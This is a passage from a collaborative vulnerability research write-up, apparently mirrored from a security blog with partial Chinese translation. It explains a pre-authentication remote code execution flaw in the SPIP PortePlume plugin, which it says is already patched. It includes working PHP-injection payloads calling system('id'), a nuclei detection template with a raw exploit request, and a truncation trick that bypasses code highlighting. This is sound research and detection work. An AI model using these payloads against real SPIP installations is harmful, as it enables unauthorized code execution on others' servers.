Then, still looking for a way to define _PROTEGE_PHP_MODELES, we looked for a way to define a variable in PHP’s global context. Despite the existence of the #SET tag, it didn’t allow us to define the variable for the entire PHP application.

The right way

We then looked at how PHP loads templates, and made an interesting discovery.

The include_template function from ecrire/public/assembler.php is called to recognize and load the various templates:

function inclure_modele($type, $id, $params, $lien, string $connect = '', $env = []) {

	...

	if (!$fond and !trouve_modele($fond = $type)) {
		spip_log("Modele $type introuvable", _LOG_INFO_IMPORTANTE);
		$compteur--;
		return false;
	}
	$fond = 'modeles/' . $fond;

	...

	if (
		strstr(
			' ' . ($classes = extraire_attribut($retour, 'class')) . ' ',
			'spip_lien_ok'
		)
	) {
		$retour = inserer_attribut(
			$retour,
			'class',
			trim(str_replace(' spip_lien_ok ', ' ', " $classes "))
		);
	} else {
		if ($lien) {
			$retour = "<a href=\"" . $lien['href'] . "\" class=\"" . $lien['class'] . "\">" . $retour . '</a>';
		}
	}	
	...
}

The function checks whether the template name exists and, if it does, adds the content to the response.
The vulnerability lies here, in the last lines, the parameters $link['href] and $link['class] are not sanitized!

So, if we control one of the two parameters, we’ll be able to inject php tags and execute our malicious code!

Method 1: Long and tedious

The $link variable is passed as a function parameter. Going back up the function call tree, we find that it’s the process function that calls include_modele:

So we’re looking for the origin of $m['link']:

$modele = inclure_modele($m['type'], $m['id'], $params, $m['lien'], $connect ?? '', $env);

By reading the code, we understand that $m comes from $models, itself coming from :

$modeles = $this->collecter($texte, ['collecter_liens' => true]);

Let’s skip the dozens of boring php lines, but here’s what you need to remember:

  • The process function calls the vulnerable include_modele function with its $m['link'] parameter
  • $m['link'] comes from a call to the collecter function, which takes our complete input as a parameter
  • This function collecter calls the function collecteur (yes ..) with the following regex:

    • @<([a-z_-]{3,})\s*([0-9]*)\s*([|](?:<[^<>]*>|[^>])*?)?\s*/?>@isS
  • If there’s a match with this regex in our payload, then it performs further checks on tag length or type and finally parses the following attributes, which it stores in the link array:

    • href
    • class
    • type
    • title
    • hreflang

As you can see, the class and href parameters can be arbitrarily controlled using the <a> tag.

Here’s a payload that passes the various checks and defines the two vulnerable variables:

Be careful not to forget <foreach|a|b> in the <a> tag to call the include_modele function

<a href="A" class="B" type="C" title="D" hreflang="E"><foreach|a|b></a>

Finally, we can add our payload %26lt;?php system('id');die(); ?%26gt; to one of the two vulnerable fields:

<a href="A" class="%26lt;?php system('id');die(); ?%26gt;" type="C" title="D" hreflang="E"><foreach|a|b></a>
# or
<a href="%26lt;?php system('id');die(); ?%26gt;" class="B" type="C" title="D" hreflang="E"><foreach|a|b></a>

Spip Preauth RCE 2024: Part 1, The Feather

Method 2: Fast and efficient

We only saw this line in the comments after completing the first method:

// Si un lien a ete passe en parametre, ex: [<modele1>->url] ou [<modele1|title_du_lien{hreflang}->url]

It is thus possible to pass a link as a parameter using []!
Once again, you get command execution:

data=[<foreach|a|b>->%26lt;?php system('id');die(); ?%26gt;>]

Spip Preauth RCE 2024: Part 1, The Feather

The process function is called by process_models, itself called by the own function.
So field=TEXT is enough to trigger code execution!

Detection

Here’s a nuclei template for a quick detection of the vulnerability:

id: spip-preauth-rce-porteplume

info:
  name: SPIP PortePlume plugin Preauth RCE
  author: Vozec 
  severity: critical
  description: |
    SPIP PortePlume Preauth RCE (@cr: Vuln found by Laluka)

http:
  - raw:
    - |
      POST /index.php?action=porte_plume_previsu HTTP/1.1
      Host: {{Hostname}}
      User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:129.0) Gecko/20100101 Firefox/129.0
      Accept: */*
      Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
      Accept-Encoding: gzip, deflate, br
      Content-Type: application/x-www-form-urlencoded; charset=UTF-8
      X-Requested-With: XMLHttpRequest
      Origin: http://{{Hostname}}
      Connection: keep-alive
      Sec-Fetch-Dest: empty
      Sec-Fetch-Mode: cors
      Sec-Fetch-Site: same-origin
      Priority: u=0

      champ=TEXTE&objet=article&data=[<foreach|a|b>->%26lt;?php "\x73\x79\x73\x74\x65\x6d"('id');?%26gt;>]

    matchers:
      - type: word
        part: body
        words:
          - "<div class=\"preview\">" ### Maybe windows server => If reflected then vulnerable version
          - "uid="
        condition: or

    extractors:
      - type: regex
        name: result
        group: 1
        internal: False
        part: body_1
        regex:
          - "<a href='.*/(.*?)'>"

Spip Preauth RCE 2024: Part 1, The Feather

Lalu: More cool stuff from @Vozec at https://vozec.fr/


Write-Up from @GuilhemRioux

Laluka gave a challenge recently on finding a Pre-Auth Remote Code Execution on SPIP.
He also gave us a hint on where to look, by adding that it is in the porte_plume plugin.
From now on we can start digging at SPIP.

Setup

As I like mixing static and dynamic code analysis when looking for vulns, I just ran my generic docker-compose for php apps.
This way I got a Xdebug and an Apache server ready to use.

Finding the sink

Now that we have done the setup we can start looking at the code. I simply go into the folder of the porte_plume plugin (packaged in the spip.zip given by laluka) and look for obvious dangerous functions.

Lalu-Snip: Screenshot & explanation already part of the previous writeups
Lalu-Snip:屏幕截图和解释已经是之前文章的一部分

However reaching the first eval is not hard, because it is triggered when trying to preview an article:
但是,到达第一个 eval 并不难,因为它是在尝试预览文章时触发的:

Spip Preauth RCE 2024: Part 1, The Feather

At first I did not find any ref to this function, but this is because I do not know SPIP at all. I was looking inside *.php files! In fact SPIP seems to have is own language and uses it inside its custom page, so here is the reference to the function call:
起初我没有找到这个函数的任何参考,但这是因为我根本不了解 SPIP。我正在查看 *.php 个文件!事实上,SPIP似乎有自己的语言,并在其自定义页面中使用它,所以这里是对函数调用的引用:

Spip Preauth RCE 2024: Part 1, The Feather

Anyway, once done we can see that the first eval cannot be used as we do not control any of its arguments… However the other looks better but seems hard to reach as it required the constant _PROTEGE_PHP_MODELES to be defined:Spip Preauth RCE 2024: Part 1, The Feather

Reaching the sink

Ok, so in order to reach the second eval located in traitements_previsu_php_modeles_eval we must reach the first eval located in traitements_previsu with the constant _PROTEGE_PHP_MODELES defined.

However this constant is defined in texte_mini.php:Spip Preauth RCE 2024: Part 1, The Feather

Here, creer_uniqid generates a uniqid with entropy, so it is hard to predict. So the constant is defined, but we cannot predict its value (Or it seems really hard // lalu+1).

Here what is important to notice is that the function is related to modeles. It is important, in my opinion, to read the doc of the software when looking for vulnerabilities. So I looked for modeles in the SPIP documentation, and I found what I needed.

Spip Preauth RCE 2024: Part 1, The Feather

And here is the regex used by SPIP to identify them:

Spip Preauth RCE 2024: Part 1, The Feather

There are also default modeles on SPIP, which are (according to the documentation):

  1. img
  2. doc
  3. emb
  4. article_mots
  5. article_traductions
  6. lesauteurs

As I do not understand every models above, I used the imgdoc, and emb models.

Okay so let’s try to reach the protege_js_modeles function by running the payload: <img|test>

When doing this, modeles included in the text are managed by the function Modeles::traiter. This function tries to go through all the models and renders them as they should, by calling another function named inclure_modele within assembler.php.

Spip Preauth RCE 2024: Part 1, The Feather

I did not look at the whole function, but from what I understood, if the model contains a link, then it will be returned in the classical <a> tag:

Spip Preauth RCE 2024: Part 1, The Feather

By looking at the documentation (once again), it was possible to see how to create a link:

Spip Preauth RCE 2024: Part 1, The Feather

So I tried this exact payload and we reached the famous code protege_js_modeles. The code takes our text as argument, so we can also control the parameter!
To setup the constant _PROTEGE_PHP_MODELES we just have to add a php tag inside the link, and hop we hit the breakpoint:

Spip Preauth RCE 2024: Part 1, The Feather

And here is the result with the dynamic debug:

Spip Preauth RCE 2024: Part 1, The Feather

With this we can get back to the eval statement, and check the arguments given by our input.
I ran this simple payload as a test: [<doc|test>-><?php echo "test";?>]

And here is the result in the eval:

eval('?><?php&nbsp;</span><span style="color: #007700">echo&nbsp;</span><span style="color: #DD0000">"test"</span><span style="color: #007700">;</span><span style="color: #0000BB">?>');

Which throws a deserved syntax error.

Our payload has been translated into formatted html text, so php code is highlighted, and then cannot be evaluated anymore. This is our last step before pwning the target!

So the problem for me here is that <?php become <span style="color: #000000"><?php</span> than is not a valid eval anymore (eval("<?php</span>") -> Error). In order to get rid of this annoying tag I choose to use the size limit shown in the code:

Spip Preauth RCE 2024: Part 1, The Feather

So the payload is truncated each 30000 chars, thus it is possible to leave the annoying tag behind in order to eval only php code unformatted. I ran it with a big payload, and added a quote in front of the real payload in order to protect any other text formatting, and here we are:
因此,有效载荷每 30000 个字符被截断,因此可以留下烦人的标签,以便仅评估未格式化的 php 代码。我使用一个大的有效载荷运行它,并在实际有效载荷前面添加了一个引号,以保护任何其他文本格式,我们在这里:

Spip Preauth RCE 2024: Part 1, The Feather

And then the second eval is triggered with only code wanted:
然后触发第二个 eval,只需要代码:

Spip Preauth RCE 2024: Part 1, The Feather

From there we recover the content of the payload in the response:
从那里,我们恢复响应中有效负载的内容:

Spip Preauth RCE 2024: Part 1, The Feather

This was a fun vulnerability to find, and also a nice challenge, I hope I’ll get to fight Spip in a future assessment! 😀
这是一个有趣的漏洞,也是一个很好的挑战,我希望我能在未来的评估中与Spip战斗!:D

Lalu & Vozec note: Once Guilhem agreed to share this exploit so we could analyze it, we were 0_0' as this exploit path wasn’t expected! Ironically, It’s also patched by the initial patch. So we’re sad that it’s not a new 0day, and happy to have @GuilhemRioux as a co-author here! 🌹
Lalu & Vozec 注意:一旦 Guilhem 同意分享这个漏洞,以便我们进行分析,我们就是 0_0',因为这个漏洞路径出乎意料!具有讽刺意味的是,它也被初始补丁修补了。因此,我们很遗憾这不是一个新的 0day,很高兴在这里有 @GuilhemRioux 作为合著者!🌹


Outro 片尾

  • We all hope you’ve had a fun time reading this co-written article 💌
    我们都希望您在阅读这篇合著的文章💌时玩得很开心
  • See you in a few, and be aware that… New challenges are on their way 😉
    再见,请注意……新的挑战即将到来 😉
  • 10k thank you to our numerous proof-readers @0x1sis@newsoft@Fransosiche@Kelig@Nishacid@NoobosaurusR3x@askilow 🫶
    10k 感谢我们众多的校对员 @0x1sis@newsoft@Fransosiche@Kelig@Nishacid@NoobosaurusR3x@askilow 🫶
  • Again, thanks for playing, and happy summer you all! 🌈
    再次感谢你们的参与,祝大家夏天快乐!🌈

原文始发于thinkloveshare:Spip Preauth RCE 2024: Part 1, The Feather

版权声明:admin 发表于 2024年8月21日 下午9:19。
转载请注明:Spip Preauth RCE 2024: Part 1, The Feather | CTF导航

相关文章